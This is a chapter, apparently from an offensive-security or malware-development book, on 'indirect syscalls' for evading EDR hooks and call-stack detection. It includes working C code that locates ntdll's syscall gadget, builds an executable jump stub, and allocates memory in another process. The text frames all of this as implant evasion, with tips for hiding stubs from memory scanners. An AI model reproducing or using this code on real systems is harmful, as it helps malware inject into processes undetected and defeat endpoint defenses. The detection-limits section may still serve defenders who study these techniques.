Chapter 43

Indirect Syscalls

Direct syscalls (Chapter 41) bypass ntdll hooks — but they leave a forensic artifact: the call stack shows the syscall returning to an address in your process's heap (the stub you allocated), not in ntdll. EDRs that walk the call stack (via ETW or in-process stack capture) flag this: "NtAllocateVirtualMemory was called from a non-module address." Indirect syscalls fix this by using the syscall instruction that's already inside ntdll's own code — you set up the SSN in eax (exactly like a direct syscall), then JMP into ntdll's syscall stub at exactly the syscall; ret sequence. The kernel executes the syscall, then returns to the ret instruction in ntdll, which returns to your code. The call stack now shows the syscall returning to a legitimate ntdll address.

The Call Stack Problem and Its Solution

Direct syscall vs indirect syscall call stacks
  DIRECT SYSCALL call stack (detectable):
  ─────────────────────────────────────────────────────────────────────────
  When kernel processes the syscall and records the call stack:
    Frame 0: ntoskrnl.exe (kernel code)
    Frame 1: 0x00000248ABCD1234  ← YOUR STUB (anonymous, non-module address)
    Frame 2: YourInjectFunction  (in your implant)
    Frame 3: YourMain
  
  EDR check: "Is frame 1 inside a known module?" → NO → ALERT
  "syscall invoked from RWX allocation" → ALERT

  INDIRECT SYSCALL call stack (looks legitimate):
  ─────────────────────────────────────────────────────────────────────────
    Frame 0: ntoskrnl.exe (kernel code)
    Frame 1: ntdll!NtAllocateVirtualMemory+0x14  ← NTDLL (legitimate!)
    Frame 2: YourInjectFunction
    Frame 3: YourMain
  
  EDR check: "Is frame 1 inside a known module?" → YES (ntdll) → CLEAN
  
  How indirect syscalls achieve the ntdll return address:
  ─────────────────────────────────────────────────────────────────────────
  Your stub does NOT contain the 'syscall' instruction.
  Instead:
    1. Set SSN in eax (your stub: mov r10, rcx; mov eax, SSN)
    2. JMP to ntdll's 'syscall; ret' sequence
       (the 'syscall' and 'ret' bytes that are in ntdll's stub, AFTER the hook)
  
  The kernel sees: syscall originated from ntdll+0x0E (the syscall instruction
  inside ntdll's stub), so the return address is ntdll+0x10 (the ret instruction).
  
  ntdll's unhooked stub (bytes):
    +0x00: 4C 8B D1     mov r10, rcx    ← hook overwrites here
    +0x03: B8 18 00 00  mov eax, 0x18   ← hook overwrites here (5 bytes: B8+4)
    +0x08: 0F 05        syscall          ← WE JUMP HERE (past the hook)
    +0x0A: C3           ret
  
  Even if the first 8 bytes are hooked (JMP to EDR), bytes [0x08:0x0A] are usually
  NOT overwritten — EDR only needs to hook the entry point to capture arguments.
  The syscall+ret pair is typically left intact because overwriting it would
  break the function entirely (the EDR's hook calls the trampoline which needs
  to actually execute the syscall).

Implementation

/* indirect_syscall.c — Indirect syscall implementation
   
   Locates the 'syscall; ret' byte sequence inside ntdll's function stubs
   and uses that address as the jump target instead of embedding the
   syscall instruction in our own code.
   
   This causes the kernel's call stack recording to show ntdll as the
   syscall origin, defeating call stack-based detection.
   
   Build:
     x86_64-w64-mingw32-gcc -O2 -o indirect_syscall.exe indirect_syscall.c
*/

#include <windows.h>
#include <stdio.h>

typedef LONG NTSTATUS;
#define NT_SUCCESS(s) ((NTSTATUS)(s) >= 0)

/* ── Find the 'syscall; ret' bytes in an ntdll stub ─────────────────── */
/*
 * We scan the function stub for the byte sequence 0F 05 C3 (syscall; ret).
 * This sequence is at bytes [+8, +9, +10] in unhooked stubs.
 * If the stub is hooked (JMP at start), the syscall+ret bytes are usually
 * still present deeper in the stub — the hook only patches the first 5-14 bytes.
 */
static PVOID find_syscall_ret_gadget(const char *func_name) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    PVOID func = GetProcAddress(hNtdll, func_name);
    if (!func) return NULL;

    PBYTE bytes = (PBYTE)func;

    /* Scan up to 32 bytes for 'syscall' (0F 05) followed by 'ret' (C3) */
    for (int i = 0; i < 32; i++) {
        if (bytes[i] == 0x0F && bytes[i+1] == 0x05 && bytes[i+2] == 0xC3) {
            return (PVOID)(bytes + i);  /* address of the syscall instruction */
        }
    }
    return NULL;
}

/* ── Indirect syscall stub (assembly template) ──────────────────────── */
/*
 * The stub does everything EXCEPT the syscall instruction:
 *   mov r10, rcx      ← argument passing setup
 *   mov eax, [SSN]    ← set syscall number
 *   jmp [syscall_gadget_addr]  ← jump to ntdll's syscall+ret
 *
 * The jmp must be absolute (far jump) since ntdll may be more than
 * ±2GB from our allocation. We use the FF 25 (indirect near jump) trick:
 *   FF 25 00 00 00 00   jmp [rip+0]   ← read 8-byte target from [rip+0]
 *   [8 bytes: address of ntdll syscall gadget]
 */
typedef NTSTATUS (*IndirectSyscallFn)(...);

static IndirectSyscallFn make_indirect_stub(DWORD ssn, PVOID syscall_gadget) {
    /*
     * Stub layout:
     *   +0: 4C 8B D1              mov r10, rcx        (3 bytes)
     *   +3: B8 ?? ?? ?? ??        mov eax, SSN        (5 bytes)
     *   +8: FF 25 00 00 00 00     jmp [rip+0]         (6 bytes)
     *  +14: ?? ?? ?? ?? ?? ?? ?? ?? gadget_addr 64-bit (8 bytes)
     * Total: 22 bytes
     */
    static const BYTE template_[] = {
        0x4C, 0x8B, 0xD1,               /* mov r10, rcx */
        0xB8, 0x00, 0x00, 0x00, 0x00,   /* mov eax, [SSN] — patched at +4 */
        0xFF, 0x25, 0x00, 0x00, 0x00, 0x00,  /* jmp [rip+0] */
        0x00, 0x00, 0x00, 0x00,          /* gadget addr low 32-bit — patched at +14 */
        0x00, 0x00, 0x00, 0x00           /* gadget addr high 32-bit — patched at +18 */
    };

    PBYTE stub = (PBYTE)VirtualAlloc(NULL, sizeof(template_),
                                      MEM_COMMIT | MEM_RESERVE,
                                      PAGE_EXECUTE_READWRITE);
    if (!stub) return NULL;

    memcpy(stub, template_, sizeof(template_));
    *(DWORD *)(stub + 4)  = ssn;                        /* SSN */
    *(PVOID *)(stub + 14) = syscall_gadget;             /* 8-byte jump target */

    return (IndirectSyscallFn)stub;
}

/* ── Hell's Gate SSN resolver (from Ch41) ────────────────────────────── */
static DWORD get_ssn(const char *func_name) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    PVOID stub = GetProcAddress(hNtdll, func_name);
    PBYTE b = (PBYTE)stub;
    if (b[0] == 0x4C && b[1] == 0x8B && b[2] == 0xD1 && b[3] == 0xB8)
        return *(DWORD *)(b + 4);
    return 0xFFFFFFFF;
}

static BOOL indirect_inject_demo(DWORD pid) {
    /* Resolve SSN and gadget for NtAllocateVirtualMemory */
    const char *target_fn = "NtAllocateVirtualMemory";
    DWORD ssn = get_ssn(target_fn);
    PVOID gadget = find_syscall_ret_gadget(target_fn);

    if (ssn == 0xFFFFFFFF || !gadget) {
        printf("[-] Could not resolve SSN or gadget for %s\n", target_fn);
        return FALSE;
    }
    printf("[+] %s: SSN=0x%04lX, syscall gadget at %p\n", target_fn, ssn, gadget);

    /* Build indirect stub */
    IndirectSyscallFn SysAllocVM = make_indirect_stub(ssn, gadget);
    if (!SysAllocVM) { printf("[-] Stub allocation failed\n"); return FALSE; }
    printf("[+] Indirect stub built at %p\n", (void*)SysAllocVM);
    printf("    When called, will JMP to ntdll's own syscall instruction\n");
    printf("    Kernel will see syscall origin = ntdll (legitimate!)\n");

    /* Open target process using regular (possibly hooked) OpenProcess
       for simplicity — in production, use indirect syscall for this too */
    HANDLE hProc = OpenProcess(PROCESS_VM_WRITE|PROCESS_VM_OPERATION, FALSE, pid);
    if (!hProc) { printf("[-] OpenProcess: %lu\n", GetLastError()); return FALSE; }

    /* Allocate remote memory via indirect syscall */
    PVOID base = NULL;
    SIZE_T size = 0x1000;
    NTSTATUS status = SysAllocVM(
        hProc, &base, 0, &size,
        MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE
    );
    printf("[+] NtAllocateVirtualMemory(indirect): status=0x%08lX, base=%p\n",
           status, base);

    CloseHandle(hProc);
    VirtualFree((PVOID)SysAllocVM, 0, MEM_RELEASE);
    return NT_SUCCESS(status);
}

int main(int argc, char *argv[]) {
    printf("=== Indirect Syscall Demo ===\n\n");
    if (argc < 2) { printf("Usage: %s [PID]\n", argv[0]); return 1; }
    return indirect_inject_demo((DWORD)atol(argv[1])) ? 0 : 1;
}

What Indirect Syscalls Still Don't Bypass

Indirect syscalls fix the call stack return address problem.
But some detection signals remain:

1. The stub itself is in RWX memory (your VirtualAlloc'd buffer):
   The stub's code page is PAGE_EXECUTE_READWRITE — suspicious.
   Fix: VirtualProtect to PAGE_EXECUTE_READ after initialization.

2. The JMP destination is the 'syscall' instruction within ntdll,
   NOT the beginning of the ntdll function:
   A sophisticated stack walker sees:
     Frame 1: ntdll+0x0E (inside NtAllocateVirtualMemory, not at its start)
   This is unusual — normally functions return to callers, not to instruction
   offsets in the middle of a function.
   Some EDRs check that return address is at a function boundary, not mid-function.

3. ETW-TI still fires kernel events:
   The kernel records every VirtualAlloc, WriteVirtualMemory, CreateThreadEx
   syscall at the kernel level regardless of how the syscall was invoked.
   ETW-TI doesn't care whether the syscall came from ntdll or your stub.
   Microsoft Defender for Endpoint (which uses ETW-TI) still sees every event.

4. The stub's bytes in memory are still a telltale pattern:
   mov r10, rcx; mov eax, SSN; jmp ntdll_syscall
   Memory scanners looking for this 22-byte pattern in non-module memory
   can detect indirect syscall stubs.
   Fix: Encode the stub (XOR with a key, decode at call time).

Bottom line:
   Indirect syscalls defeat basic call stack checks.
   They do NOT defeat kernel-level telemetry or memory scanning.
   Use them as one layer in a multi-layer evasion stack.
   SysWhispers3 (Ch44) automates stub generation for production use.

Questions & Answers

Why does jumping to the middle of ntdll's syscall stub (past the hook) work when the hook is active?

When an EDR hooks NtAllocateVirtualMemory with a 5-byte JMP at offset 0, it overwrites bytes [+0 to +4]. The remaining bytes of the stub — starting at +5, including the syscall at +8 and ret at +10 — are left intact. The EDR doesn't need to patch those bytes because: (1) the hook at +0 already diverts execution before reaching them, and (2) the EDR's trampoline (which calls the real function) needs those bytes to exist so the trampoline can jump there after analysis. By JMPing directly to +8 (the syscall instruction), you bypass the hook entirely and land at the syscall, which then transitions to the kernel. The kernel processes the syscall, returns to the ret at +10, which returns to your calling code. The EDR's hook at +0 is never reached — you jumped past it. This works as long as the EDR's hook doesn't extend past the first 7-8 bytes, which is true for standard 5-byte and 14-byte hooks.

Can the "syscall; ret" gadget be at a different offset in some ntdll builds?

Yes — the exact byte offset varies between Windows versions and occasionally between updates. On most Windows 10/11 builds, the sequence is at offset +8 (after the 3-byte mov r10,rcx and 5-byte mov eax,SSN). But some builds may have additional instructions between the prologue and the syscall (e.g., a prefetch hint or a conditional branch for compatibility). The scan loop in the implementation handles this: it searches the first 32 bytes for the 0F 05 C3 (syscall; ret) byte sequence rather than assuming a fixed offset. This makes the code robust across builds. A further edge case: some ntdll builds use 0F 05 C3 preceded by a 48 31 C0 (xor rax, rax) or other instruction — the scan still finds the syscall because it searches for the exact byte pair (0x0F, 0x05) which uniquely identifies the syscall instruction on x64.